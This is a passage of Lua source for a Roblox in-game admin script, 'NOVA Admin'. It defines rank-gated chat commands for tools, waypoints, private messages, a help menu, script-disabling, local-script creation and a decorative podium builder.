  4568.             end
  4569.         end
  4570.     end
  4571. )
  4572.  
  4573. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  4574.     function(Msg,Speaker)
  4575.         Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
  4576.     end
  4577. )
  4578.  
  4579. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
  4580.     function(Msg,Speaker)
  4581.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4582.             pcall(function()
  4583.                 v.Character.Humanoid.PlatformStand = true
  4584.             end)
  4585.         end
  4586.     end
  4587. )
  4588.  
  4589. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
  4590.     function(Msg,Speaker)
  4591.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4592.             pcall(function()
  4593.                 v.Character.Humanoid.PlatformStand = false
  4594.             end)
  4595.         end
  4596.     end
  4597. )
  4598.  
  4599. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4600.     function(Msg,Speaker)
  4601.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4602.             pcall(function()
  4603.                 for _,Tool in pairs(v.Backpack:GetChildren()) do
  4604.                     Tool:Clone().Parent = Speaker.Backpack
  4605.                 end
  4606.             end)
  4607.         end
  4608.     end
  4609. )
  4610.  
  4611. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4612.     function(Msg,Speaker)
  4613.         local Give = {}
  4614.         for _,v in pairs(NOVA.Services.Lighting:children()) do
  4615.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4616.                 function()
  4617.                     table.insert(Give,v:Clone())
  4618.                 end
  4619.             )
  4620.         end
  4621.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4622.             function()
  4623.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4624.                     for _,Tool in pairs(Give) do
  4625.                         Tool:Clone().Parent = v.Backpack
  4626.                     end
  4627.                 end
  4628.                 RemoveTablets(Speaker)
  4629.             end
  4630.         )
  4631.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4632.     end
  4633. )
  4634.  
  4635. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4636.     function(Msg,Speaker)
  4637.         pcall(function()
  4638.             for _,Tool in pairs(Speaker.Backpack:children()) do
  4639.                 Tool:Clone().Parent = NOVA.Services.Lighting
  4640.             end
  4641.         end)
  4642.     end
  4643. )
  4644.  
  4645. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4646.     function(Msg,Speaker)
  4647.         Split = GetSplit(Msg)
  4648.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4649.             if v:FindFirstChild("PlayerGui") ~= nil then
  4650.                 makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4651.             end
  4652.         end
  4653.     end
  4654. )
  4655.  
  4656. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4657.     function(Msg,Speaker)
  4658.         local Data = GetRankedTable(Speaker)
  4659.         Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4660.         Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4661.         Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4662.             function()
  4663.                 RemoveTablets(Speaker)
  4664.                 OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4665.             end
  4666.         )
  4667.         Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4668.         Output("How to use commands.",Data.Color,Speaker,nil,
  4669.             function()
  4670.                 RemoveTablets(Speaker)
  4671.                 Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
  4672.                 Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  4673.                 Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4674.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4675.             end
  4676.         )
  4677.         Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4678.     end
  4679. )
  4680.  
  4681. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  4682.     function(Msg,Speaker)
  4683.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4684.             if v:IsA("Script") then
  4685.                 v.Disabled = true
  4686.                 v.Parent = NOVA.Services.Debris
  4687.                 v.Disabled = true
  4688.                 v:Destroy()
  4689.                 v.Parent = NOVA.Services.Debris
  4690.                 v.Disabled = true
  4691.                 v:Destroy()
  4692.             end
  4693.         end
  4694.     end
  4695. )
  4696.  
  4697.  
  4698. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4699.     function(Msg,Speaker)
  4700.         pcall(function()
  4701.             CreateLocalScript([[
  4702.                 game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4703.                 ]],
  4704.                 Speaker.Backpack
  4705.             )
  4706.         end)
  4707.     end
  4708. )
  4709.  
  4710. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4711.     function(Msg,Speaker)
  4712.         pcall(function()
  4713.             NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4714.         end)
  4715.     end
  4716. )
  4717. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4718.     function(Msg,Speaker)
  4719.         pcall(function()
  4720.             NOVA.Sounds.Sound.Looped = Msg
  4721.         end)
  4722.     end
  4723. )
  4724. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4725.     function(Msg,Speaker)
  4726.         Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4727.     end
  4728. )
  4729. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4730.     function(Msg,Speaker)
  4731.         local Give = {}
  4732.         for _,v in pairs(NOVA.Plugins) do
  4733.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4734.                 function()
  4735.                     table.insert(Give,v:Clone())
  4736.                 end
  4737.             )
  4738.         end
  4739.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4740.             function()
  4741.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4742.                     for _,Tool in pairs(Give) do
  4743.                         New = Tool:Clone()
  4744.                         New.Parent = v.Backpack
  4745.                         pcall(function()
  4746.                             New.Disabled = false
  4747.                         end)
  4748.                     end
  4749.                 end
  4750.                 RemoveTablets(Speaker)
  4751.             end
  4752.         )
  4753.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4754.     end
  4755. )
  4756. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4757.     function(Msg,Speaker)
  4758.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4759.             pcall(function()
  4760.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4761.                     part.Locked = true
  4762.                 end
  4763.             end)
  4764.         end
  4765.     end
  4766. )
  4767. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4768.     function(Msg,Speaker)
  4769.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4770.             pcall(function()
  4771.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4772.                     part.Locked = false
  4773.                 end
  4774.             end)
  4775.         end
  4776.     end
  4777. )
  4778. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4779.     function(Msg,Speaker)
  4780.         Split = GetSplit(Msg)
  4781.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4782.             pcall(function()
  4783.                 CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4784.             end)
  4785.         end
  4786.     end
  4787. )
  4788. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4789.     function(Msg,Speaker)
  4790.         NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4791.     end
  4792. )
  4793. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4794.     function(Msg,Speaker)
  4795.         pcall(function()
  4796.             Rtn = CFrame.new(
  4797.                 Speaker.Character.Torso.CFrame.x,
  4798.                 Speaker.Character.Torso.CFrame.y,
  4799.                 Speaker.Character.Torso.CFrame.z
  4800.             )
  4801.             table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4802.         end)
  4803.     end
  4804. )
  4805. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4806.     function(Msg,Speaker)
  4807.         for _,v in pairs(NOVA.Waypoints) do
  4808.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4809.                 pcall(function()
  4810.                     RemoveTablets(Speaker)
  4811.                     Speaker.Character.Torso.CFrame = v.CFrame
  4812.                 end)
  4813.             end)
  4814.         end
  4815.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4816.     end
  4817. )
  4818. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4819.     function(Msg,Speaker)
  4820.         Rtn = {}
  4821.         for num,v in pairs(NOVA.Waypoints) do
  4822.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4823.                 table.insert(Rtn,num)
  4824.             end)
  4825.         end
  4826.         Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4827.             RemoveTablets(Speaker)
  4828.             for _,v in pairs(Rtn) do
  4829.                 table.remove(NOVA.Waypoints,v)
  4830.             end
  4831.         end)
  4832.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4833.     end
  4834. )
  4835. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4836.     function(Msg,Speaker)
  4837.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4838.             pcall(function()
  4839.                 for i=0,3 do
  4840.                     Instance.new("HopperBin",v.Backpack).BinType = i
  4841.                 end
  4842.             end)
  4843.         end
  4844.     end
  4845. )
  4846. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4847.     function(Msg,Speaker)
  4848.         local MainColor = Color3.new(0,0,0)
  4849.         local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4850.         local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4851.         local MainCFrame = Speaker.Character.Torso.CFrame
  4852.             * CFrame.new(0,-4,0)
  4853.             + Speaker.Character.Torso.CFrame.lookVector*3
  4854.         local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4855.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4856.             + Speaker.Character.Torso.CFrame.lookVector*3
  4857.         if CFrame == nil then return end    
  4858.         coroutine.resume(coroutine.create(function()
  4859.        
  4860.             for i=1,25 do
  4861.                 wait()
  4862.                 local Step = Instance.new("Part",Main)
  4863.                 Step.FormFactor = "Custom"
  4864.                 Step.Name = "Step"
  4865.                 Step.Anchored = true
  4866.                 Step.Locked = true
  4867.                 Step.Reflectance = 0
  4868.                 Step.TopSurface = "Smooth"
  4869.                 Step.BottomSurface = "Smooth"
  4870.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  4871.                 Step.Size = Vector3.new(6,1,3)
  4872.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4873.                 Instance.new("BlockMesh",Step)
  4874.                
  4875.                 local Carpet = Instance.new("Part",Main)
  4876.                 Carpet.FormFactor = "Custom"
  4877.                 Carpet.Name = "Carpet"
  4878.                 Carpet.Anchored = true
  4879.                 Carpet.Locked = true
  4880.                 Carpet.Reflectance = 0
  4881.                 Carpet.TopSurface = "Smooth"
  4882.                 Carpet.BottomSurface = "Smooth"
  4883.                 Carpet.BrickColor = BrickColor.new(MainColor)
  4884.                 Carpet.Size = Vector3.new(4,1,3.2)
  4885.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4886.                 Instance.new("BlockMesh",Carpet)  
  4887.             end    
  4888.             local MainCirc = Instance.new("Part",Main)
  4889.             MainCirc.FormFactor = "Custom"
  4890.             MainCirc.Name = "MainCirc"
  4891.             MainCirc.Anchored = true
  4892.             MainCirc.Locked = true
  4893.             MainCirc.Reflectance = 0
  4894.             MainCirc.TopSurface = "Smooth"
  4895.             MainCirc.BottomSurface = "Smooth"
  4896.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4897.             MainCirc.Size = Vector3.new(20,1,20)
  4898.             MainCirc.CFrame = SeccondaryCFrame
  4899.             Instance.new("CylinderMesh",MainCirc)
  4900.            
  4901.             local SeccondaryCirc = Instance.new("Part",Main)
  4902.             SeccondaryCirc.FormFactor = "Custom"
  4903.             SeccondaryCirc.Name = "SeccondaryCirc"
  4904.             SeccondaryCirc.Anchored = true
  4905.             SeccondaryCirc.Locked = true
  4906.             SeccondaryCirc.Reflectance = 0
  4907.             SeccondaryCirc.TopSurface = "Smooth"
  4908.             SeccondaryCirc.BottomSurface = "Smooth"
  4909.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4910.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  4911.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4912.             Instance.new("CylinderMesh",SeccondaryCirc)
  4913.             for i=1,math.floor(360/6) do
  4914.                 local Spike = Instance.new("Part",Main)
  4915.                 Spike.FormFactor = "Custom"
  4916.                 Spike.Name = "Spike"
  4917.                 Spike.Anchored = true
  4918.                 Spike.Locked = true
  4919.                 Spike.Reflectance = 0
  4920.                 Spike.TopSurface = "Smooth"
  4921.                 Spike.BottomSurface = "Smooth"
  4922.                 Spike.BrickColor = BrickColor.new(MainColor)
  4923.                 Spike.Size = Vector3.new(1,7,1)
  4924.                 Spike.CFrame = SeccondaryCFrame
  4925.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4926.                     * CFrame.new(7,-7,0)
  4927.                 Torch = Instance.new("Part",Main)
  4928.                 Torch.Reflectance = 1e+999
  4929.                 Torch.FormFactor = "Custom"
  4930.                 Torch.Shape = "Ball"
  4931.                 Torch.Anchored = true
  4932.                 Torch.Locked = true
  4933.                 Torch.Size = Vector3.new(2,2,2)
  4934.                 Torch.CFrame = Spike.CFrame
  4935.                     * CFrame.new(0,3.5,0)
  4936.                     * CFrame.Angles(0,0,0)
  4937.                 Instance.new("Fire",Torch)
  4938.             end
  4939.         end))
  4940.     end
  4941. )